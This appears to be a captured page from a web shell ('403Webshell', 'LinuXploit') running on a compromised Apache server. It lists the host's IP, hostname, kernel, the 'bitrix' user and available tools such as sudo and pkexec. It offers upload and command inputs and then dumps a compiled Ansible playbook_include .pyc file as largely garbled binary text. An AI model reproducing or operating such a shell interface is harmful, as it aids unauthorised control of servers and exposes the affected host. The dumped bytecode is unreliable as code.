403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/playbook/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/playbook/__pycache__/playbook_include.cpython-311.pyc
�

���cc���ddlmZmZmZeZddlZddlmZ	ddl
mZmZddl
mZddlmZddlmZmZddlmZmZddlmZdd	lmZdd
lmZddlmZddlm Z dd
l!m"Z"m#Z#ddl$m%Z%ddl&m'Z'e'��Z(Gd�deee��Z)dS)�)�absolute_import�division�print_functionN)�AnsibleParserError�AnsibleAssertionError)�to_bytes)�string_types)�
split_args�parse_kv)�AnsibleBaseYAMLObject�AnsibleMapping)�FieldAttribute)�Base)�Conditional)�Taggable)�AnsibleCollectionConfig)�_get_collection_name_from_path�_get_collection_playbook_path)�Templar)�Displayc�|��eZdZed���Zeded���Zedd���Zd�fd�	Z	�fd	�Z
d
�Z�xZS)�PlaybookInclude�string)�isa�dict�vars)r�default�aliasNc�L�t���||||���S)N)�ds�basedir�variable_manager�loader)r�	load_data)�datar!r"r#s    �F/usr/lib/python3.11/site-packages/ansible/playbook/playbook_include.py�loadzPlaybookInclude.load/s'��� � �*�*�d�G�Vf�ou�*�v�v�v�c
���ddlm}ddlm}t	t
|���|||��}|j���}|r||�	��z}t||���}	||���}
|	�|j��}t|��}|�|d}
|d}nP|}
tj�|
��s tj�||
��}
t%|
��}|r
|t&_nht&j�tj�tj�t3|
d	�
��������|
�|
||j������|
jD�]?}|jr$t;||��r|jdd�|_|j|jz}|�dd��}|�-|j �!|�"d
����||_tGtI|j ���%|j ����|_ |j&�$tj�|
��|_&|jrF|j'|j(z|j)z|j*zD]&}|jdd�|jdd�z|_+�'��A|
S)z�
        Overrides the base load_data(), as we're actually going to return a new
        Playbook() object rather than a PlaybookInclude object
        r)�Playbook)�Play)r#�	variables)r#N���surrogate_or_strict)�errors)�	file_namer"r�tags�,),�ansible.playbookr*�ansible.playbook.playr+�superrr$r�copy�get_varsr�template�import_playbookr�os�path�isabs�joinrr�default_collection�playbook_paths�append�dirname�abspathr�_load_playbook_data�_entries�when�
isinstance�_included_conditional�popr2�extend�split�list�set�union�_included_path�	pre_tasks�roles�tasks�
post_tasks�_when)�selfr r!r"r#r*r+�new_obj�all_vars�templar�pbr1�resource�playbook�playbook_collection�entry�	temp_vars�
param_tags�
task_block�	__class__s                   �r&r$zPlaybookInclude.load_data3s���	.�-�-�-�-�-�.�.�.�.�.�.�
���.�.�8�8��=M�v�V�V���9�>�>�#�#���	4��(�1�1�3�3�3�H���8�<�<�<���X�V�
$�
$�
$���$�$�W�%<�=�=�	�1��;�;������{�H�"*�1�+���!�H��7�=�=��*�*�
;��7�<�<���:�:��#A��"J�"J���	N�9L�#�6�6�
$�2�9�9�"�'�/�/�"�'�/�/�Zb�ck�uJ�[K�[K�[K�KL�KL�;M�;M�
N�
N�
N�
����DT�[_�[d�[i�[i�[k�[k��l�l�l��[�	L�	L�E��|�
>�
�5�$� 7� 7�
>�.5�l�1�1�1�o��+��
�W�\�1�I�"���v�t�4�4�J��%��
�!�!�*�"2�"2�3�"7�"7�8�8�8�"�E�J��c�%�*�o�o�3�3�G�L�A�A�B�B�E�J��#�+�')�w���x�'@�'@��$�
�|�
L�#(�?�U�[�#@�5�;�#N�QV�Qa�#a�L�L�J�'.�|�A�A�A�������9K�'K�J�$�$���	r(c�.��t|t��s"td|�dt|�������t	��}t|t
��r|j|_|���D]r\}}|tj	vr|�
||||���,|dkr;d|vrtd|����t|t��std|����|||<�stt|���|��S)z�
        Regorganizes the data for a PlaybookInclude datastructure to line
        up with what we expect the proper attributes to be
        zds (z) should be a dict but was a rzTimport_playbook parameters cannot be mixed with 'vars' entries for import statements��objzEvars for import_playbook statements must be specified as a dictionary)rGrr�typer
r�ansible_pos�items�C�_ACTION_IMPORT_PLAYBOOK�_preprocess_importrr6r�preprocess_data)rUr �new_ds�k�vras     �r&rkzPlaybookInclude.preprocess_data~sQ����"�d�#�#�	b�'�'�SU�SU�SU�W[�\^�W_�W_�W_�(`�a�a�a� �!�!���b�/�0�0�	0�!#��F���h�h�j�j�	�	�F�Q���A�-�-�-��'�'��F�A�q�9�9�9�9���;�;���'�'�0�2H�NP�Q�Q�Q�Q�'��4�0�0�B�0�1x�A�B�B�B�B���q�	�	��_�d�+�+�;�;�F�C�C�Cr(c�8�|�td|����t|t��s!tdt|��z|����t	|��}t|��dkrtd|����|d���|d<dS)zQ
        Splits the playbook import line up into filename and parameters
        Nz$playbook import parameter is missingrczQplaybook import parameter must be a string indicating a file path, got %s insteadrz?import_playbook statements must specify the file name to importr:)rrGr	rer
�len�strip)rUr rlrmrnrgs      r&rjz"PlaybookInclude._preprocess_import�s���
�9�$�%K�QS�T�T�T�T��A�|�,�,�	L�$�%x�{�AB�|C�|C�&C�IK�L�L�L�
L��1�
�
���u�:�:��?�?�$�%f�ln�o�o�o�o�$)�!�H�N�N�$4�$4�� �!�!�!r()NN)
�__name__�
__module__�__qualname__rr:r�vars_val�staticmethodr'r$rkrj�
__classcell__)ras@r&rr*s��������$�n��2�2�2�O��~�&�$�f�E�E�E�H��w�w�w��\�w�I�I�I�I�I�I�VD�D�D�D�D�<5�5�5�5�5�5�5r(r)*�
__future__rrrre�
__metaclass__r;�ansible.constants�	constantsrh�ansible.errorsrr�ansible.module_utils._textr�ansible.module_utils.sixr	�ansible.parsing.splitterr
r�ansible.parsing.yaml.objectsrr
�ansible.playbook.attributer�ansible.playbook.baser�ansible.playbook.conditionalr�ansible.playbook.taggabler�ansible.utils.collection_loaderr�2ansible.utils.collection_loader._collection_finderrr�ansible.templater�ansible.utils.displayr�displayr�r(r&�<module>r�s���&C�B�B�B�B�B�B�B�B�B��
�	�	�	�	�������D�D�D�D�D�D�D�D�/�/�/�/�/�/�1�1�1�1�1�1�9�9�9�9�9�9�9�9�N�N�N�N�N�N�N�N�5�5�5�5�5�5�&�&�&�&�&�&�4�4�4�4�4�4�.�.�.�.�.�.�C�C�C�C�C�C�|�|�|�|�|�|�|�|�$�$�$�$�$�$�)�)�)�)�)�)�
�'�)�)��A5�A5�A5�A5�A5�d�K��A5�A5�A5�A5�A5r(

Youez - 2016 - github.com/yon3zu
LinuXploit